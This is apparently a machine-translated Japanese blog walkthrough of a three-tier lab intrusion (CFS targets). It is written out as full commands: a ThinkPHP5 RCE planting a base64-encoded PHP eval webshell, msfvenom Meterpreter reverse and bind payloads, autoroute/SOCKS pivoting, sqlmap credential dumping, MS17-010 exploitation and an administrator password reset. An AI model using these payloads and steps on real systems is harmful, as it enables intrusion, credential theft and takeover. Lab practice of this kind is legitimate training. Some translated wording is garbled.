[イントラネット侵入] CFS 3 層ターゲットマシン侵入

[イントラネット侵入] CFS 3 層ターゲットマシン侵入

ネットワークトポロジー

画像-20230811111948557

3 つのターゲット ホストのトポロジ図が図に示されており、攻撃マシンのネットワーク セグメントは次のとおりです。192.168.1.1/24

  • ターゲット1 Centos7
  • ターゲット2 無料
  • ターゲット3 Win7

ターゲット マシンへの侵入プロセスは次のとおりです。

攻撃マシン kaili を通じてtarget1 の 192.168.1.132 を攻撃します192.168.1.129。target2 と 3 は外部ネットワークに接続できず、内部ネットワークでのみ通信できます。したがって、最初に target1 に侵入し、次に vmnet2 ネットワーク カードを通じて target2 を攻撃する必要があります。target2 を倒した後、target2 を踏み台にして target3 を攻​​撃します。

対象機械の構造

  • 回:192.168.1.129(vmnet1)
  • ターゲット1:192.168.1.132(vmnet1)、192.168.22.130(vmnet2)
  • ターゲット2:192.168.22.128(vmnet2)、192.168.33.128(vmnet3)
  • ターゲット3:192.168.33.33(vmnet3)

その他についてはここでは説明しません。https://blog.csdn.net/qq_61237064/article/details/125602997 を参照してください。

ターゲット1

0x01.nmap ホスト検出

kaili で nmap を使用して、どのホストが vmnet1 ネットワーク セグメント上にあるかを確認します。

nmap -T4 -sP 192.168.1.1/24

画像-20230811114018123

1 つ見つかりました: 192.168.1.132

0x02. ポートスキャン

nmap -T4 -A -p 1-65535 192.168.1.132

画像-20230811114423891

ポート80が開いています

0x03.ThinkPHP5 RCE の脆弱性によりシェルが使用される

ブラウザアクセスはThinkPHP5.0バージョンですが、抜け穴があります

画像-20230811114551362

ツールを直接使用して脆弱性を検出してみましょう。

画像-20230811114645988

抜け穴があり、コマンドを直接実行し、そこにシェルを書き込みます($_POSTここではフィルタリングされているため、バイパスするにはbase64エンコーディングを使用します)。

echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 -d > x.php

画像-20230811114906753

蟻の剣つながり:

画像-20230811115002543

txt ファイル内に 2 つのフラグが見つかりました

ifconfig別のネットワーク セグメント 22 を実行して見つけました192.168.22.130

画像-20230811115208212

それならイントラネットもあるはずだ

0x04. msf バックドア (reverse_tcp) リバース接続をアップロードしてホスト権限を取得します

イントラネットがある場合は、msf ツールを使用します。

最初にmsfevnomエルフを生成する馬を使用し、ここでは逆の接続を行います (Target1 を使って kali を接続します)。

uname -aTarget1 のシステムを確認するために使用します。

(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

linux64

次に、elf バックドア ホースを生成し、自分の IP アドレスを確認し、自分の IP アドレスターゲット マシンのシステム タイプに従って、対応するバックドア ファイルを生成します。

# 根据target1操作系统类型生成elf后门,lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf > shell.elf    

次に、kali でモニタリング モジュールを実行して、マシンのポート 4444 をリッスンします。

# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit

次に、エルフの馬を target1 にアップロードし、権限を設定して、次を実行します。

chmod +x shell.elf
./shell.elf

この時点で、Target1 ドローンはすでに msf を起動しています。

画像-20230811125806597

イントラネットへの浸透を始めましょう:

イントラネットの浸透

ターゲット2

ここで、ネットワーク セグメント設定により、kali と Target1 は同じネットワーク セグメント内のホストであるため、nmap を介して Target2 ターゲット マシンの IP を直接スキャンすることはできません。これらを直接スキャンできます。ただし、スキャンされた Target2 はイントラネット ネットワーク セグメント内にあるため、直接スキャンすることはできません。ただし、Target1 の vmnet2 ネットワーク カードが Target2 と同じネットワーク セグメントにあることがわかっているため、Target1 の vmnet2 ネットワーク カードを介して Target2 を呼び出すことができ、Target1 のプロキシをハングできます

(1) 経路情報の検出

情報検出には msf に付属するモジュールを使用できます。

  • ネットワークインターフェースを調査するためのモジュール (get_local_subnets)
  • ルーティングモジュールを表示する (autoroute -p)
# 探测子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0

# 查看路由信息,发现还没有路由
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet

**ルーティング: **ルーティングとは、ルーターがインターフェイスからデータ パケットを受信し、データ パケットの宛先アドレスに従ってそれを転送し、別のインターフェイスに転送するプロセスを指します。これは、必要なデータを送信することと同じです。最初にルートに送信し、次にターゲットに送信します。

ルートを設定し、Target1 の vmnet1 ネットワーク セグメント経由でリクエストを送信し、それを vmnet2 ネットワーク セグメントにリダイレクトして転送することで、kali の msf が 22 ネットワーク セグメント (Target2) と通信できるようになります。

したがって、ルートを設定できます。

静的ルーティング設定

MSF の autoroute モジュールは、MSF フレームワークに付属するルーティングおよび転送機能であり、その実装プロセスは、MSF フレームワークが取得した Meterpreter Shell を基に「イントラネット」へのルートを追加し、 MSF を直接使用して元のルートにアクセスすることです。イントラネット リソースは、ルートが到達可能である限り、MSF を使用して検出できます。

# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p
(2)msfプロキシ設定

ルーティングには欠陥があり、msf によって確立されたセッションでのみ使用できます。新しい端末を開いて nmap を使用してスキャンしても、依然としてスキャンできないため、msf のプロキシを設定する必要があります

msf には独自のプロキシ モジュールがありますauxiliary/server/socks_proxy

msf の現在のセッションが、Target1 のシェル上に確立された session1 であるとします。ルートが確立されると、22 のネットワーク セグメントと通信できるようになります。次に、ツールを使用してセッション 1 を通じてネットワーク セグメント 22 を攻撃したいと考えていますが、この時点ではどうすればよいでしょうか?

Target2この場合、プロキシを設定する必要があります。このプロキシを通じて、他の人に接続用のポートを提供し、このマシンを使用して Kali ポートに接続し、 22 のネットワーク セグメントにアクセスできるようになります。

# 先切换到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run

kali で構成ファイルvim /etc/proxychains.confを変更します。proxychains

画像-20230811134750046

kali の IP と構成したばかりのポートを書き込みます

次に、nmap を使用してポートを検出します (注: nmap を使用する場合、proxychainsmsf プロキシを使用するにはポートをその前に追加する必要があります)。

proxychains nmap -T4 -p 80 192.168.22.128

画像-20230811141654805

ポート80が開いています

ブラウザーに Socks5 プロキシを設定します。

画像-20230811141826019

訪問:

画像-20230811141851398

bagecms構築されたウェブサイトです

(3) Bagcms-sql インジェクションの脆弱性を利用して、管理者はバックグラウンドでログインしてシェルを取得します。

SocksCapここでは、他のツールにプロキシを追加できる便利なツールを使用できます。

画像-20230811142444730

スキャンしてrobots.txt管理者のパスを教えてくれました

#
# robots.txt for BageCMS
#
User-agent: * 
Disallow: /admini/
Disallow: /index.php?r=admini*

情報収集、ソースコードのヒント: SQL インジェクションポイント: /index.php?r=vul&keyword=1

画像-20230811143956269

--proxysqlmap を使用して直接実行できますが、パラメータまたは kali の前に追加できるプロキシを接続する必要がありますproxychains注入ポイントを直接指定できます。-p keyword

# 爆一下数据库名称
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --proxy=socks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

管理者アカウントとパスワードを取得します admin:123qwe

バックグラウンドでログインしてフラグを取得します。

画像-20230811145312912

tag/index.phpを書く

画像-20230811145740912

次に、SocksCapツールを使用してエージェントを切断し、Ant Sword 接続を開きます。

URL に注目してください:http://192.168.22.128/?r=tag

画像-20230811150210541

(4) msf バックドア (bind_tcp) フォワード接続をアップロードして、ubuntu ホスト権限を取得します

シェルを取得したら、前と同様に msf を使用してバックドアを生成します。ただし、Target2 はネットワークの外に出ることができないため、ここでは少し異なります。

したがって、今回は前方接続、つまりkali接続を解除することによってのみ接続できます。Target2

Ant Sword で target2 のオペレーティング システムを確認してみましょう。

uname -a

画像-20230811151354653

64ビットオペレーティングシステムであることがわかります

したがって、elf フォワード接続のバックドアが kaili で生成されます。

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > tgt2.elf

target2 にアップロードし、実行権限を変更します。

chmod +x tgt2.elf
./tgt2.elf

画像-20230811151543773

MSF でモニタリングをオンにし、Target2 との接続を確立します。ここで注意すべき点は、前回プロキシが使用した reverse_tcp がモニターとして MSF であるため、Target1 が接続できるようになり、今回プロキシが使用したbind_tcp は次のとおりです。 Target2 をモニターとして使用します。Target2 に接続する必要があります。ロジックはまったく逆です。

同様に、msf を使用して別の端末を開いて監視を開始する場合、msf の新しく開かれた端末の前の端末の構成は使用されないことに注意してください。

今回エージェントが使用するbind_tcpがモニターとしてTarget2の場合、イントラネットのtarget2に転送接続する必要があります。

したがって、open を直接使用することはできませんが、open msf をmsfconsole使用する必要があります。プロキシを経由する必要があります。そうしないと、msf は Target2 にアクセスできず、bind_tcp に接続できません。proxychains

これが写真です

画像

(実際には、前のターミナルを使用するだけで、プロキシが構成されており、bind_tcp に直接接続できます)

ここで使用法を示してみましょうproxychains:

proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
run

target2 は msf を正常に起動しました

画像-20230811153115294

その後、情報収集を続けて、次のものを使用できます。

# 获取网络接口:
run get_local_subnets
# 添加路由地址:
run autoroute -s 192.168.33.0/24
# 查看路由地址:
run autoroute -p

ここで、次のメソッドも使用できます。

shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig

画像-20230811153551159

33 ネットワーク セグメントに IP が表示されましたが、まだイントラネットがあります

ターゲット3

0x01.ルートを追加

Target2 (ubuntu) では、ubuntu ホストがネットワーク セグメント 22 とネットワーク セグメント 33 の両方にあることが検出されたため、前の手順を繰り返し、ルートを追加し、ルートを介してプロキシ経由で kali から Target2 にトラフィックを送信できますセグメントは 33 ネットワーク セグメントにリダイレクトされます

# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p

画像-20230811154615369

ルートが正常に追加されました

nmap は、target3 ターゲット マシンの開いているサービスをスキャンします。

(新しいターミナルを開いた後、新しく開いた msf ターミナル上でプロキシを構成し、それを変更する必要があります/etc/proxychains.conf)

画像-20230812183101630

root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

スキャンしてポート 445 と 3389 を開きます

画像-20230811173052922

0x02. ms17-010 Eternal Blue 脆弱性を利用してシェルを入手する

スキャン結果から、これが win7 システムであり、ポート 445 と 3389 が開いていることが簡単にわかります。

ポート 445 に ms17-010 Eternal Blue 脆弱性が存在します。

したがって、msf で ms17-010 を使用して次のように入力してみることができます。

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run

使用に成功すると、出力シェルがコマンド ラインに入ります。

画像-20230812185355539

出力します:netstat -antどのポートが利用可能であるかを確認します:

画像-20230812185455305

ポート 3389 が表示されたので、リモート デスクトップに接続できます。

まず、net userどのユーザーが存在するかを確認するために使用して、存在することを確認しましょう。administrator

入力します:net user administrator 123456パスワードを変更します

次に、SocksCapオープン接続リモート デスクトップ プログラムを使用します。mstsc.exe

(プロキシを新しいものとして設定することに注意してください)、「ip:192.168.33.33」と入力して接続します。

画像-20230812185220492

無事に勝ちました

別の接続方法もあります:ポート転送を使用します。

portfwd add -l 7777 -p 3389 -r 192.168.33.33

192.168.33.33:3389 を kali のポート 7777 に転送し、直接接続します。

画像-20230812190034722

参考:

https://www.cnblogs.com/1vxyz/p/17080748.html

https://blog.csdn.net/qq_61237064/article/details/125602997

https://teamssix.com/191021-211425.html#toc-Heading-9

おすすめ

転載: blog.csdn.net/qq_61839115/article/details/132253559